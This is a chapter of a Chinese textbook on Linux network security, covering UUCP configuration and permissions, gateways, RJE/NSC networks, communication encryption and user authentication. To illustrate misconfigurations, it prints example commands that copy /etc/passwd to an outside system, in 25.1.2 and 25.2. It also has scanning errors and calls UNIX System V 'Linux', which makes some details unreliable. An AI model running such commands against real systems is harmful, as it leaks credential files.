第25章 Linux系统的网络安全

本章主要讨论网络和数据通信安全问题。

25.1 UUCP系统概述

UUCP系统是一组程序，可以完成文件传输，执行系统之间的命令，维护系统使用情况的统计，保护安全。UUCP是Linux系统最广泛使用的网络实用系统，这其中有两个原因：第一，UUCP是各种Linux版本都可用的唯一的标准网络系统，第二，UUCP是最便宜的网络系统。只需要一根电缆连接两个系统，就可建立UUCP。如果需要在相距数百或数千公里远的两个系统间传输数据，只需要两个具有拨号功能的调制解调器即可。

25.1.1 UUCP命令

UUCP命令之一是uucp，该命令用于两个系统间的文件传输，uucp命令格式类似于cp命令的格式，只是uucp允许用户在系统间拷贝文件，命令的一般格式如下：

```
uucp source_file destination_file
```

source_file通常是本系统的文件（但不必一定是），destination_file通常是另一系统的文件或目录。指定destination_file的格式为：

```
system!filename或system!directory
```

uucp给系统管理员提供了一个选项，可以把传入和传出本系统的 uucp文件只传到/usr/spool/uucppublic目录结构中。若告诉uucp将传输的文件存放在其他目录中，系统将会送回一个邮件：remote access to path / file denied。uucp允许以简化符号~代替/usr/spool/uucppublic/。如：

```
uucp names remote!~/john/names
```

有时也可用uucp将文件从另一个系统拷贝到本系统，只要将要传入本系统的文件指定为源文件（用system!file）即可，如：

```
uucp remotes!/usr/john/file1 file1
```

如果在远地机限制了文件传输的目录，上条命令不能拷贝到文件。拷贝文件到本系统的最安全的方法是：在两个系统上都通过uucppublic目录进行文件传输：

```
uucp remotes!~/john/file1 ~/pat/file1
```

25.1.2 uux命令

uux命令可用于在另一个系统上执行命令，这一特点称为“远程命令仞行”。uux最通常的用处是在系统之间发送邮件（mail在其内部执行uux）。典型的uux请求如下：

```
pr listing| uux - "remote1!lp -d pr1"
```

这条命令将文件listing格式编排后，再连接到系统remote1的打印机pr1上打印出来。uux的选项“-”使uux将本命令的标准输入设备建立为远程命令的标准输入设备。当若干个系统中只有一个系统连接了打印机时，常用uux打印文件。当然必须严格地限制远程命令进入，以保护系统安全。如：本系统不应允许其他系统上的用户运行下面的命令：

```
uux "yoursys!uucp yoursys!/etc/passwd （outside!~/passwd）"
```

这条命令将使本系统传送/etc/passwd文件到系统outside上，一般只有几条命令允许执行。rmail是加限制的mail程序，常常为允许通过 uux执行的命令之一。也允许 rnews（加限制的netnews伪脱机命令）在运行netnews的系统上执行，还允许lp在提供了打印设备的系统上运行。

25.1.3 uucico程序

uucp和uux命令实际上并不调用另一个系统及传送文件和执行命令，而是将用户的请求排入队列，并启动uucico程序。uucico完成实际的通信工作。它调用其他的系统，登录，传送数据（可以是文件或请求远程命令执行）。如果电话线忙，或其他系统已关机，传输请求仍针保留在队列中，uucico后续的职能操作（通常是cron完成）将发送这些传输请求。

uucico完成数据的发送和接收。在本系统的/etc/passwd文件中，有其他系统的uucico登录进入本系统的入口项，该入口项中指定的缺省外壳是 uucico。因此，其他系统调用本系统时，直接与uucico对话。

25.1.4 uuxqt程序

当另一系统的uucico调用本系统请求远程命令执行时，本系统的 uucico将该请求排入队列，并在退出之前，启动uuxqt程序执行远程命令请求。

下面举例说明数据是如何传输的。假设本系统的一个用户发送邮件给另一远程系统remote1的某人，mail会执行uux，在remote1系统上远程地运行 remail程序，要传送的邮件为remail命令的输入。uux将传输请求排入队列，然后启动uucico招待实际的远程调用和数据传输。如果remote1响应请求，uucico登录到remote1，然后传送两个文件：邮件和将在 remote1上由uuxqt执行的uux命令文件。uux命令文件中含有运行remail请求。如果remote1在被调时已关机，uucico则将无法登和传送文件，但是 cron会周期地（1小时）启动uucico。uucico查找是否有还未传送出的数据，若发现 uux指定的传输目标系统是 remote1，就尝试再调用 remote1，直到调通remote1为止，或者过了一定天数，仍未调通 remote1，未送出的邮件将作为“不可投递”的邮件退回给发送该邮件的用户。

25.2 UUCP的安全问题

UUCP系统未设置限制，允许任何本系统外的用户执行任何命令和拷贝进 /出uucp用户可读/写的任何文件。在具体的uucp应用环境中应了解这点，根据需要设置保护。

在UUCP中，有两个程序处理安全问题。第一个是 uucico程序，该程序在其他系统调用本系统时启动。这个程序是本系统uucp安全的关键，完成本系统文件传输的传进和传出。第二个程序是uuxqt，该程序为所有的远程命令执行服务。

25.2.1 USERFILE文件

uucico用文件/usr/lib/uucp/USERFILE确定远程系统发送或接收什么文件，其格式为：

```
login，sys[c] path_name [path_name…]
```

其中login是本系统的登录名，sys是远程系统名，c是可选的call_back标志，path_name是目录名。

uucico作为登录外壳启动时，将得到远程系统名和所在系统的登录名，并在 USERFILE文件中找到匹配login和sys的行。如果该行含有call_back标志c，uucico将不传送文件，连接断开，

调用远程系统（即，任何系统可以告诉本系统它的名是 xyz，于是本系统挂起，调用实际的 xyz 执行文件传输），若无c，uucico将执行远程系统请求的文件传送，被传送的文件名被假定为以path_name开头的。

用户需要了解以下几点：

- 如果远程系统使用的登录名未列于USERFILE的登录域中，uucico将拒绝允许其他系统做任何事，并挂起。
- 如果系统名未列于 sys域中，uucico将使用USERFILE中有匹配的登录名和空系统名的第一行，如：nuucp，/usr/spool/uucppublic应用到作为nuucp登录的所有系统。cbuucp，c将迫使作为cbuucp登录的所有系统自己执行文件传输的请求。若调用系统名不匹配 sys系统中的任何一个，并且无空入口项，uucico也将拒绝做任何事。
- 若两个机器都设置了 call_back标志，传送文件的请求决不会被执行，两个系统会一直互相调用，直到两个系统中的一个取消call_back时，才能进行文件传送。
- 如果一个用户的登录名列于USERFILE文件的login域中，则当调用本系统的uucico为该用户传送文件时，uucico只传送至path_name指定的目录中的文件。空登录名用于所有未明确列于USERFILE文件中的用户进行登录。所以 pat，/usr/pat 只允许pat传送/usr/pat目录结构中的文件。/usr/spool/uucppublic /tmp其他用户仅允许传送目录 /usr/spool/uucppublic和/tmp中的文件。不要允许uucico将文件拷进/出到除了/usr/spool/uucppublic目录以外的其他任何目录，否则可能会有人用下面的命令拷贝走本系统的重要信息：

```
uucp yoursys!/etc/passwd to-creep
```

25.2.2 L.cmds文件

uuxqt利用/usr/lib/uucp/L.cmds文件确定要执行的远程执行请求命令。该文件的格式是每行一条命令。如果只需uuxqt处理电子邮件，该文件中就只须一行命令：

```
rmail
```

系统管理员可允许登录用户执行netnews（rnews）的命令或远程打印命令（lp），但决不允许用户执行拷贝文件到标准输出的命令，如 cat命令或网络命令uucp，否则这些人只需在他们自己的系统上敲入：

```
uux "yoursys!uucp yoursys!/etc/passwd （outside!~/passwd）"
```

然后就可等待本系统发送出命令文件。

25.2.3 uucp登录

UUCP系统需要两个登录帐户，一个是其他系统登录的帐户，另一个是系统管理使用的帐户。例如，数据传输登录帐户是 nuucp，管理登录帐户是uucp，则在/etc/passwd文件中应当有两行。

UID和GID的5号通常留给uucp，由于uucico具有管理登录的SUID许可，因此nuucp帐户的UID和GID应当用其他值。

25.2.4 uucp使用的文件和目录

/usr/lib/uucp用于存放不能由用户直接运行的各种uucp，如uuxqt和uucico。该目录还含有若干个确定uucp如何操作的文件，如 L.cmds和USERFILE。这些文件只能对 uucp管理帐户可写（系统管理员一定不愿让用户更改远程可执行命令表）。根据安全的观点，该目录中另一个系统

管理员必须清楚的文件是L.sys。该文件中含有uucico能调用的每个系统的入口项。入口项数据包括uucico所调用系统的电话号码、登录名、未加密的口令。不用说， L.sys应当属于uucp管理帐户所有，且应当具有400或600存取许可。

uucp用/usr/spool/uucp目录存放工作文件。文件名以 C.开头的文件是送到其他系统的命令文件，含有在其他系统上拷入（ /出）数据和执行命令的请求。文件名以 D.开头的文件用作C.文件的数据文件。文件名以 X.开头的文件是来自其他系统的远程执行请求，由 uuxqt解释。文件名以 TM.开始的文件是从其他系统传送数据到本系统过程中 uucp所使用的暂存文件。XQTDIR是uuxqt用于执行 X.文件的目录。 LOGFILE可有助于管理 uucp的安全，它含有执行uucp请求成功与否的信息。系统管理员可时常查看该文件，了解有哪些系统正登录本系统执行uucp请求，是什么请求，特别要检查这些请求是否试图做不允许的操作。

25.3 HONEYDANBER UUCP

有两个主要的UUCP版本，第一个是与 Linux系统V一起颁布的，在本节将称为老 UUCP。另一个版本称为HONEYDANBER UUCP，由AT&T颁布。HONEYDANBER UUCP与老UUCP相比，有若干的优点：

1） 支持更多的拨号和网络。

- 智能自动拨号调制解调器以及标准 AT&T技术的801自动拨号器。
- 网络，如DATAKIT VCS、UNET/ETHERNET、3COM/ETHERNET、SYTEK、TCP（BSD Linux系统）。
- 连接到LAN的拨号器。
- X.25永久性虚拟环网（用X.25协议）。

2）重新组织了/usr/spool/uucp目录，在该目录下，对每个远程系统有一个目录。

3）加强了安全。

- USERFILE和L.cmds文件组合成一个文件Permissions。
- 可以在一级系统上指定远程可执行命令。
- 可分别控制文件传入和文件传出。
- 缺省的安全设置很严格。

25.3.1 HONEYDANBER UUCP与老UUCP的差别

HONEYDANBER UUCP中的/usr/lib/uucp/Systems文件是原来UUCP中的/usr/lib/uucp/L.sys。HONEYDANBER UUCP中/usr/spool/uucp/.log下的一个目录代替了老UUCP的文件/usr/spool/uucp/logFILE。/usr/spool/uucp/.log中的目录uucico， uucp， uux， uuxqt含有相应命令的记录文件，各目录对应最近处于活跃状态的远程系统都有一个记录文件（记录文件在这些目录中通常保存一个星期）。

如果一个调用本系统的远程系统未列于Systems文件中， uucico将不允许该远程系统执行任何操作，而是启动外壳程序 /usr/lib/uucp/remote.unknown， 由UUCP提供的该外壳程序的缺省版本将在/usr/spool/uucp/中。Admin/Foreign文件中记下远程系统的登录时间，如日期及系统名。只要使remote.unknown不可执行，就能禁止这一操作，以达到与老 UUCP兼容。

C.， D.， X.， TM.等文件存放在/usr/spool/uucp下的不同目录中，目录名就是文件对应的远程系统名。

在HONEYDANBER UUCP中USERFILE与L.cmds文件合并在一起，这个新文件

/usr/lib/uucp/Permissions提供了更灵活的授予外系统存取许可的控制方法。文件中的规则表定义了可以发出请示的各种系统。规则与选项的格式如下：

```
rule=list option=yes|no option=list...
```

其中rule是登录名或机器名，list是用以分隔各项的规则表（表中各项随rule或option而变），option是下边将讨论的各选项之一，或为一个选项表，或只取yes/no决定允许/不允许一项操作。

25.3.2 登录名规则

LOGNAME规则用于控制作为登录外壳启动的uucico。

```
LOGNAME=nuucp
```

指定对所有登录到nuucp帐户下的系统加缺省限制的方法如下：

- 远程系统只能发送文件到/usr/spool/uucppublic目录中。
- 远程系统不能请求接收任何文件。
- 当uucico调用远程系统时，才发送已排入队列要发送到该远程系统的文件。这是 uucico准确地识别远程系统的唯一方法（任何系统都可调用本系统并冒充是 xyz系统）。
- 由uuxqtux远程系统的名义可执行的命令是缺省规定的命令，这些缺省命令在编译时定义（通常只有rmail和rnews命令）。
- 可用冒号分隔开若干个其他系统的uucico的登录帐户，如下所示：

```
LOGNAME=nuucp：xuucp：yuucp
```

任何设有LOGNAME规则的系统，若要登录请求UUCP传送，都会被回绝（系统将给出错信息“ get lost ”，并挂起）。

一个LOGNAME规则就足够启动HONEYDANBER UUCP系统。事实上，当该系统运行时，将在Permissions文件中放一个无选项的LOGNAME规则，该规则应用于在/etc/passwd文件入口项外壳域中有/usr/lib/uucp/uucico的所有登录帐户。可使用若干选择忽略缺省限制，这些选项可组合，允许或限制各种操作。例如可用 WRITE选项指定一个或多个送入文件的目录，而不必送入/usr/spool/uucppublic目录，例如：

```
LOGNAME=nuucp WRITE=/
```

这一规则允许文件送入本系统的任何目录。 2-4项的限制依然保持。注意，远程UUCP请求可重写任何有写许可的文件，可指定多个写入文件的目录。用冒号分隔开，如下所示：

```
LOGNAME=nnuucp WRITE=/usr：/floppy
```

该规则允许远程系统将文件写到/usr和/floppy目录中。用REQUEST=yes选项可允许远程系统的用户从本系统拷贝文件，如：

```
LOGNAME=nuucp REQUEST=yes
```

能被拷贝的文件只能是存放在 /usr/spool/uucppublic目录中的文件， 1、3、4项的限制仍然有效。若要允许远程系统可从其他目录拷贝文件，用 READ选择：

```
LOGNAME=nuucp REQUEST=yes READ=/usr
```

该规则允许远程系统拷贝/usr目录中任何其他人可读的文件。也可像 WRITE选项一样指定目录表。用SENDFILES=yes选项可允许uucico在远程系统调用本系统时发送已排队的文件，如下所示：

```
LOGNAME=nuucp SENDFILES=yes
```

1、2、4项的限制依然有效。用 CALLBACK=yes选项迫使任何登录到指定帐户的系统 call back。

注意 CALLBACK=yes不能与其他选项组合作用。如果其他选项与这条选项列在一起，

其他选项将被忽略。

NOREAD和NOWRITE选项可分别与READ和WRITE选项一起使用。指定NOREAD选项下的目录表，可建立对READ选项的例外处理（即指出READ目录中不能由远程系统请求的目录），例如：

```
LOGNAME=nuucp，REQUEST=yes READ=/ NOREAD=/etc
```

该规则允许远程系统请求系统中任何其他人可读的文件，但不包括 /etc中的文件，NOWRITE，WRITE的联合用法与上类似。

一般来说，不要将缺省限制改得太多。若本系统被另一系统调去存贮电话费用或系统管理员没有办法拨出，可以用 SENDFILE选项。若要对某些机器取消限制，则应当建立一个仅用于那些机器的uucico登录帐户。例如：

```
LOGNAME=nuucp SENDFILES=yes
LOGNAME=trusted SENDFILES=yes REQUEST=yes READ=/ WRITE=/
```

上面的规则允许在trusted帐户下登录的系统在本系统中具有另一种文件存取许可， nuucp帐户的口令应送给所有要与本系统uucp建立连接的系统管理员，trusted帐户的口令则只能送给信任系统的管理员。如系统有信任和非信任的 uucp帐户，最好用PUBDIR选项为这两种帐户建立不同的公共帐户， PUBDIR允许系统管理员改变 uucico对公共目录的概念（缺省为/usr/spool/uucppublic）。例如：

```
LOGNAME=nuucp SENDFILES=yes REQUEST=yes \
PUBDIR=/usr/spool/uucppublic/nuucp
LOGNAME=trusted SENDFILES=yes REQUEST=yes READ=/ WRITE=/ \
PUBDIR=/usr/spool/uucppublic/trusted
```

上面的选项使要送到公共目录中的文件，对于不同登录 nuucp和trusted分别放入不同的目录中。这将防止登录到 nuucp的非信任系统在信任系统的公共目录中拷进和拷出文件（注意：上面的选项允许nuucp请求文件传送）。行尾倒斜杠指明下一行是该行的续行。用 MYNAME选项可以给登录进某一帐户的系统赋予一个系统名：

```
LOGNAME=Xuucp MYNAME=IOnker
```

25.3.3 MACHINE规则

MACHINE规则用于忽略缺省限制，在MACHINE规则中指定一个系统名表，就可使uucico调用这些系统时改变缺省限制。 READ、WRITE、REQUEST、NOREAD、NOWRITE、PUBDIR选项的功能与LOGNAME相同。忽略CALLBACK、SENDFILES选项，MYNAME选项所定义的必须与LOGNAME规则联用，指定将赋给调用系统的名，该名仅当调用所定义的系统时才用。MACHINE规则的格式如下：

```
MACHINE=zuul：gozur：enigma WRITE=/ READ=/
```

这条规则使远程系统zuul、gozar、enigma能够发送/请求本系统上任何其他人可读/写的文件。一般不要让远程系统在除/usr/spool/uucppublic目录外的其他目录下读写文件，因此，对于信任的系统也要少用 MACHINE规则。系统名OTHER用于为指定用户外的所有其他用户建立MACHINE规则。COMMANDS选项用于改变uuxqt通过远程请求执行的缺省命令表。

```
MACHINE=zuul COMMANDS=rmail：rnews：lp
```

上面的选项允许系统zuul请求远程执行命令rmail、rnews、lp。uucico不用这个选项。uuxqt用该选项确定以什么系统的名义执行什么命令。 COMMANDS选项所指定的命令将用缺省设置的路径PATH。PATH在编辑uuxqt时被建立通常设置为/bin：/usr/bin。在COMMANDS选项中给出全路径名可以忽略缺省PATH。

```
MACHINE=zuul COMMANDS=umail：/usr/local/bin/rnews：lp
```

同样地，对HONEYDANBER UUCP也应当像老UUCP一样不允许远程系统运行uucp或cat这样的命令。任何能读写文件的远程执行命令都可能威胁局域安全。虽然局域系统对远程系统名进行一定程序的校核，但是任何远程系统在调用局域系统时都可自称是“ xyz ”，而局域系统却完全相信是真的。因此局域系统的系统可能认为只允许了 zuul运行lp命令。但实际上任何自称是zuul的系统也允许运行lp命令。

有两种方法可以证实系统的身份。一种方法是拒绝用 CALLBACK=yes与调用系统对话。只要电话和网络线未被破密或改变，局域系统就能肯定地确认远程系统的身份。另一种方法是在LOGNAME规则中用VALIDATE选项。

若必须允许某些系统运行“ 危险 ”的命令，可联用 COMMANDS和VALIDATE选项，VALIDATE选项用于LOGNAME规则中指定某系统必须登录到LOGNAME规定的登录帐户下：

```
LOGNAME=trusted VALIDATE=zuul
MACHINE=COMMANDS=rmail：rnews：lp
```

当一个远程系统自称是zuul登录时，uucico将查Permissions文件，找到LOGNAME=trusted规则中的VALIDATE=zuul，若该远程系统使用了登录帐户trusted， uucico将认为该系统的确是zuul继续往下执行，否则 uucico将认为该系统是假冒者，拒绝执行其请求。只要唯有 zuul有trusted帐户的登录口令，其他系统就不能假冒它。仅当登录口令是保密的，没有公布给其他非信任的系统管理员或不安全的系统， VALIDATE选项才能奏效。如果信任系统的登录口令泄漏了，则任何系统都可伪装为信任系统。

在COMMANDS选项中给出ALL时，将允许通过远程请求执行任何命令。因此，不要使用ALL!规定ALL实际上就是把自己的帐户给了远程系统上的每一个用户。

25.3.4 组合MACHINE和LOGNAME规则

将MACHINE和LOGNAME规则组合在一行中，不管远程系统调用局域系统还是局域系统调用远程系统，可以确保一组系统的统一安全。

```
LOGNAME=trusted MACHINE=zuul：gozur VALIDATE=zuul：gozur \
REQUEST=yes SENDFILES=yes \
READ=/ WRITE=/ PUBDIR=/usr/spool/trusted \
COMMANDS=rmail：rnews：lp：daps
```

25.3.5 uucheck命令

一旦建立了Permissions文件，可用uucheck -v命令了解uucp如何解释该文件。其输出的前几行是确认 HONEYDANBER UUCP使用的所有文件、目录、命令都存在，然后是对Permissions文件的检查。

25.3.6 网关

邮件转送可用于建立一个网关机器。网关是一个只转送邮件给其他系统的系统。有了网关，使有许多Linux系统的部门或公司对其所有用户只设一个电子邮件地址。所有发来的邮件都通过网关转送到相应的机器。

网关也可用于加强安全：可将调制解调器连接到网关上，由网关转送邮件的所有系统通过局域网或有线通信线与网关通信。所有这些局域系统的电话号码， uucp登录帐户，口令不能对该组局域系统外的系统公布。如果有必要，可使网关是唯一连接了调制解调器的系统。建立一

个最简单的网关是很容易的：对每个登录进系统，想得到转送邮件的用户，只需在文件/usr/mail/login中放入一行：

```
Forward to system !login
```

要发送给帐户login的邮件进入网关后，将转送给登录在系统 system的帐户login下的用户。两个登录名可以不同。

网关建立了一个安全管理的关卡，网关的口令必须是不可猜测的。网关应尽可能只转送邮件而不做别的事，至少不要将重要数据存放在该机上。网关上还应做日常例行安全检查，并且要对uucp的登录进行仔细地检查。

网关也为坏家伙提供了一个入口：如果有人非法进入了网关，他将通过 uucp使用的通信线存取其他的局域系统和存取含有关于其他局域系统 uucp信息的Systems文件。若这人企图非法进入其他系统，这些信息将对他有很大的用处。

使用网关的经验如下：

- 若要建立网关，应确保其尽可能地无懈可击。
- 可在网关和局域系统间建立 uucp连接，使得局域系统定期的与网关通信获取邮件，而网关完全不用调用局域系统。这样做至少能防止一个坏家伙通过网关非法进入局域系统。
- 利用局域系统的Permissions文件对网关的行为加以限制，使其裸露程度达到最小，即只转发邮件。这样可使窃密者不能利用网关获取其他系统的文件。

25.3.7 登录文件检查

HONEYDANBER UUCP自动地将登录信息邮给uucp。login文件应当定期地读这个文件。系统管理员应当检查那些不成功的大量请求，特别是其他系统对本系统的文件请求。还要检查不允许做的远程命令执行请求。登录信息都保存在文件中，如果要查看，可用 grep命令查看。/usr/spool/uucp/.Log/uucico/system文件中含有uucico登录，/usr/spool/uucp/.Log/uuxqt/system文件含有uuxqt登录。下面一行命令将打印出uuxqt执行的所有命令（rmail除外）：

```
grep -v rmail /usr/spool/uucp/.Log/uuxqt/*
```

下面一行命令将打印所有对本系统文件的远程请求：

```
grep -v REMOTE /usr/spool/uucp/.Log/uucico/* | grep "<"
```

总之，HONEYDANBER UUCP比老UUCP提供了更强的安全特性，特别是提高了远程命令执行的安全性。

25.4 其他网络

25.4.1 远程作业登录

远程作业登录（remote job entry，RJE）系统提供了一组程序及相应的硬件，允许Linux系统与IBM主机上的作业输入子系统（job entry subsystems，JES）通信。可通过两条命令的send和usend存取RJE。send命令是RJE的通用的作业提供程序，它将提供文件给 JES，就好像这些作业文件是从卡片阅读机读入的穿孔卡片一样。 usend命令用于在使用了RJE系统的Linux系统间传送文件，它将建立一个作业（虚拟的一叠穿孔卡片），并以send命令的送文件的同样方式将该作业提供给JES。该作业卡片叠中的控制卡告诉 JES数据传送到何处（这里，数据是正被传送的文件）。文件传送的目的地是Linux系统，但JES认为是一个“行式打印机”。RJE系统通常以每秒9600位的速率与JES通信。典型的usend命令句法如下：

```
usend -d system -u login file（s）
```

system是挂到IBM JES上的另一个Linux系统名，login是另一个系统上的接收用户的登录名，file是用户希望传送的文件。

下面是几个关于RJE的安全问题：

- 缺省时，RJE将把文件传送到接收用户的HOME目录中的rje目录。该目录必须对其他人可写、可执行，这意味着存入rje目录的文件易受到检查、移动、修改。然而如果该目录的许可方式是733，其他用户就不能用ls列目录内容寻找感兴趣的文件。被建立的文件对所有者、小组或其他人都是可读的，所以通过 RJE网络传送的安全文件在系统上都是可读的。为什么这些问题不同于UUCP和/usr/uucppublic目录？
- UUCP定期地清除/usr/spool/uucppublic目录的内容，几天前或几星期前的老文件将被删除，通常用户将把自己的文件移出 uucppublic目录，以免文件被删除，而存在用户 rje目录中的文件不会被清除，所以有些用户从来不把自己的文件移到其他目录。
- 用户清楚地知道uucppublic目录是一个公共目录，存入重要信息之前，首先注意将其加密。但是用户却总是容易忘记自己rje目录实际上也是公共目录，经常忘记将重要文件加密。
- usend命令在其他人可写的目录中建立文件，并重写其他人可写的文件。
- RJE服务子程序只执行一些功能而不执行文件传送。 RJE系统像UUCP一样也执行远程命令，运行RJE的大多数系统用远程命令执行转送电子邮件。因为 RJE的传输率通常比UUCP更高。遗憾的是RJE没有像UUCP那样的能力限制能执行的命令和能存取的文件。一个好的经验是把连接到同一个JES的一组系统看作同一系统。

25.4.2 NSC网络系统

网络系统公司（network systems corporation，NSC）宽信道网络是一个高速局域网络。NSC可将数千个最远相距5000英尺的系统挂在一起，传输速率可高达 50MBIT/S，NSC也可通过通信（如微波或人造卫星）线连接不同系统。

Linux用户可通过nusend命令存取NSC宽信道，nusend命令的句法与usend命令相同，除用-c选项传送其他人不可存取的文件外，大多数情况下，nusend的用法与usend是一样的，换言之，如果无-c选项，文件就是可读的，而且文件路径名中列出所有目录对其他人也都是可搜索的，前边讨论过的关于RJE的安全问题的考虑也适合于NSC网络。

可查看NSC记录文件，了解NSC是否正在执行任何不应执行的命令。记录文件保存在目录/usr/nsc/log中。下面的命令将打印出所有由NSC在本系统上执行的命令（rmail除外）：

```
grep execute /usr/nsc/log/LOGFILE|grep -v rmail
```

25.5 通信安全

有两种方法可以提供安全的通信，第一种是保证传输介质的物理安全，任何人都不可能在传输介质上接上自己的窃密线，第二种方法是加密重要数据。下面分别介绍这两种方法。

25.5.1 物理安全

如果所有的系统都锁在屋里，并且所有连接系统的网络和接到系统上的终端都在上锁的同一屋内，则通信与系统一样安全（假定没有调制解调器）。但是系统的通信线在上锁的室外时，就会发生问题了。

尽管从网络通信线提取信息所需要的技术，比从终端通信线获取数据的技术高几个数量级，

但同样会存在安全问题。用一种简单的（但很昂贵）高技术 —— 加压电缆，可以获得通信的物理安全。这一技术是若干年前，为美国国家电话系统开发的。通信电缆密封在塑料中，埋置于地下，并在线的两端加压。线上连接了带有报警器的监示器，用来测量压力。如果压力下降，则意味电缆可能破了，维修人员将寻找与修复出问题的电缆。电缆加压技术提供了安全的通信线。电缆不用埋置于地下，可架于整座楼中，每寸电缆都将暴露在外。如果任何人企图割电缆，监示器会自动报警器，通知安全保卫人员电缆已被破坏。如果任何人成功地在电缆上接了自己的通信线，安全人员定期地检查电缆的总长度，应可以发现电缆拼接处。加压电缆是屏蔽在波纹铝钢包皮中的，因此几乎没有电磁发射，如果要用电磁感应窃密，势必需用大型可见的设备。

采用这样的电缆，终端就不必锁在办公室，而只需将安全电缆的端头锁在办公室的一个盒子里。另一个增加外部终端物理安全的方法是，在每天下午 5点使用计算机的时间结束时，即当所有用户回家时，断开终端的连接。这样某人若想非法进入系统，将不得不试图在白天人们来来回回的时间里获取终端的存取权，或不得不在下午 5点后试图潜入计算机房（如果5点后计算机房有操作人员或有安全人员，潜入计算机房的企图就不可能得逞）。

光纤通信线曾被认为是不可搭线窃听的，其断破处立即可被检测到，拼接处的传输速度会令人难以忍耐地缓慢。光纤没有电磁辐射，所以也不能用电磁感应窃密。不幸的是光纤的最大长度有限制，长于这一长度的光纤系统必须定期地放大（复制）信号。这就需要将信号转换成电脉冲，然后再恢复成光脉冲，继续通过另一条线传送。完成这一操作的设备（复制器）是光纤通信系统的安全薄弱环节，因为信号可能在这一环节被搭线窃听。有两个办法可解决这一问题，距离大于最大长度限制的系统间，不要用光纤线通信（目前，网络覆盖范围半径约 100公里），或加强复制器的安全（用加压电缆、警报系统、警卫）。

25.5.2 加密

加密也可提高终端和网络通信的物理安全，有三种方法加密传输数据：

- 链接加密法：在网络节点间加密，在节点间传输加密，传送到节点后解密，不同节点对间用不同的密码。
- 节点加密法：与链接加密类似，不同的只是当数据在节点间传送时，不用明码格式传送，而是用特殊的加密硬件进行解密和重加密，这种专用硬件通常旋转在安全保险箱中。
- 首尾加密法：对进入网络的数据加密，然后待数据从网络传送出后再进行解密。网络本身并不会知道正在传送的数据是加密数据。这一方法的优点是，网络上的每个用户（通常是每个机器的一个用户）可有不同的加密关键词，并且网络本身不需增添任何专门的加密设备。缺点是每个系统必须有一个加密设备和相应的软件（管理加密关键词）。或者每个系统必须自己完成加密工作（当数据传输率是按兆位 /秒的单位计算时，加密任务的计算量是很大的）。

终端数据加密是一种特殊情况，此时链接加密法和首尾加密法是一样的方法，终端和计算机都是既为节点又为终止端点。

通信数据加密常常不同于文件加密，加密所用的方法不应降低数据的传送速度。丢失或被歪曲了的数据不应当引起丢失更多的数据位，即解密进程应当能修复坏数据，而不能由于坏数据对整个文件或登录进行不正确地解密。对于登录会话，必须一次加密一个字节，特别是在Linux系统的情况下，系统要将字返回给用户，更应一次加密一个字节。在网络中，每一链可能需要不同的加密关键字，这就提出了对加密关键词的管理、分配和替换问题。

DES传送数据的一般形式是以代入法密码格式按块传送数据，不能达到上述的许多要求。DES采用另一加密方法，一次加密一位或一个字节，形成密码流。密码流具有自同步的特点，被传送的密码文本中发生的错误和数据丢失，将只影响最终的明码文本的一小段（ 64位），这称为密码反馈。在这种方法中， DES被用作虚拟随机数发生器，产生出一系列用于对明码文本的随机数。明码文本的每n位与一个DES n位的加密输出数进行异或， n的取值为1～64，DES加密处理的输入是根据前边传送的密码文本形成的64位的数据。

当n为1时，加密方法是自同步方式：错一位或丢失 1位后，64位的密码文本将不能被正确地解密，因为不正确的加密值将移入DES输入的末端。但是一旦接收到正确的64位密码，由于DES的加密和解密的输入是同步的，故解密将继续正确地进行。

DES的初始输入值称为种子，是一个同时由传输器和接收器认可的随机数。通常种子由一方选择，在加密前给另一方。而加密关键词不能以明码格式通过网络传送，当加密系统加电时在两边都写入加密关键词，并且在许多阶段期间加密关键词都保持不变，用户可以选择由主关键词加密的阶段关键词，发送到数据传送的另一端，当该阶段结束后，阶段关键词就不再使用了。主关键词对用户是不可见的，由系统管理员定期改变，选择哪一种关键词管理方法，常由所用的硬件来确定。如果加密硬件都有相应的设备，则用种子还是用主关键词、阶段关键词是无关紧要的。

25.5.3 用户身份鉴别

口令只是识别一个用户的一种方法，实际上有许多方法可以用来识别用户，下面介绍其中的几种。

- 回叫（call back）调制解调器方法：是维护系统有效用户表及其相应电话号码的设备。当用户拨号调用系统时，回叫调制解调器获得用户的登录帐户，先挂起，再回头调用用户的终端。这种方法的优点是，限制只有电话号码存于调制解调器中的人才是系统的用户，从而使非法侵入者不能从其家里调用系统并登录，这一方法的缺点是限制了用户登录的灵活性，并仍需要使用口令，因为调制解调器不能仅从用户发出调用的地方，唯一地标识用户。
- 标记识别方法：标记是口令的物理实现，许多标记识别系统使用某种形式的卡（如背面有磁条的信用卡），这种卡含有一个编码后的随机数。卡由连接到终端的阅卡机读入，不用再敲入口令。为了增加安全性，有的系统要求读入卡和敲入口令。有些卡的编码方法使得编码难于复制。标记识别的优点是，标识可以是随机的，并且必须长于口令。不足之处是每个用户必须携带一个卡（卡也可与公司的徽记组合使用）。并且每个终端上必须连接一个阅读机。
- 一次性口令方法：即“ 询问应答系统 ”。这种系统允许用户每次登录时使用不同的口令。这种系统使用一种称做口令发生器的设备，设备是便携式的（大约为一个袖珍计算器的大小），并有一个加密程序和唯一的内部加密关键词。系统在用户登录时给用户提供一个随机数，用户将这个随机数送入口令发生器，口令发生器用用户的关键词对随机数加密，然后用户再将口令发生器输出的加密口令（回答）送入系统，系统将用户输入的口令，与它用相同的加密程序、关键词和随机数产生的口令进行比较，如果二者相同，允许用户存取系统。这种方法的优点是，用户可每次敲入不同的口令，因此不需要口令保密，只有口令发生器需要安全保护。为了增加安全性， Linux系统甚至不需联机保存关键词，实际的关键词可保存在有线连接于系统的一个特殊加密计算机中。在用户登录期间，加

密计算机将为用户产生随机数和加密口令。这样一种系统的优点是，口令实际不由用户输入，系统中也不保存关键词，即使是加密格式的关键词也可保存于系统中。其不足之处类似于标记识别方法，每个用户必须携带口令发生器，如果要脱机保存关键词，还需要有一个特殊硬件。

- 个人特征方法：有些识别系统检测如指印、签名、声音、零售图案这样的物理特征。大多数这样的系统是实验性的、昂贵的，并且不是百分之百地可靠。任何一个把数据送到远程系统去核实的系统都有被搭线窃听的危险，非法入侵者只须记录下送去系统校核的信息，以后再重显示这些信息，就能窃密。注意，这同样也是标记识别系统的一个问题。

25.6 SUN OS系统的网络安全

